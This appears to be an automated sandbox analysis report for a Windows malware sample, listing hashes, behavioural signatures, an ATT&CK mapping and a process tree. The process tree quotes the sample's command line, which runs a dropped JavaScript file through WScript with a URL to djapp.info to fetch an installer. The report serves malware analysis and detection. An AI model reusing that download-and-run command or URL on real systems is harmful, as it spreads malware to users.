51bf80877abb5b623e96d31d9da3ca395b17b6897fe49704e0104199af9616e6

General

Target

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe
Size

184KB
MD5

3443262cf83abba89b696e5dfe9ba9ed
SHA1

18038c92d7cf01a176ae01c5ae9fcf37060bdca3
SHA256

51bf80877abb5b623e96d31d9da3ca395b17b6897fe49704e0104199af9616e6
SHA512

e9fde259e564fc7d42f68709a50811caaf9fea0b00102c7b9dfdf34fd7c5dc8d00d584cf8b7c03e58db45b5375e2e6cc4d554da3bf39fdd7a928268401b176ee
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Y54:/7BSH8zUB+nGESaaRvoB7FJNndnD54

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

8 3936 WScript.exe
37 4404 WScript.exe
39 2228 WScript.exe
48 4292 WScript.exe
56 2108 WScript.exe

flow	pid	process
8	3936	WScript.exe
37	4404	WScript.exe
39	2228	WScript.exe
48	4292	WScript.exe
56	2108	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4640 4868 WerFault.exe 3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

pid	pid_target	process	target process
4640	4868	WerFault.exe	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

description	pid	process	target process
PID 4868 wrote to memory of 3936	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 3936	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 3936	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4404	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4404	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4404	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2228	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2228	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2228	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4292	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4292	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 4292	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2108	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2108	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 4868 wrote to memory of 2108	4868	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf325A.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf325A.exe
2⤵
- Blocklisted process makes network request
PID:3936

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf325A.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf325A.exe
2⤵
- Blocklisted process makes network request
PID:4404

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf325A.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf325A.exe
2⤵
- Blocklisted process makes network request
PID:2228

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf325A.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf325A.exe
2⤵
- Blocklisted process makes network request
PID:4292

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf325A.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf325A.exe
2⤵
- Blocklisted process makes network request
PID:2108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 1456
2⤵
- Program crash
PID:4640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4868 -ip 4868
1⤵
PID:524

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf325A.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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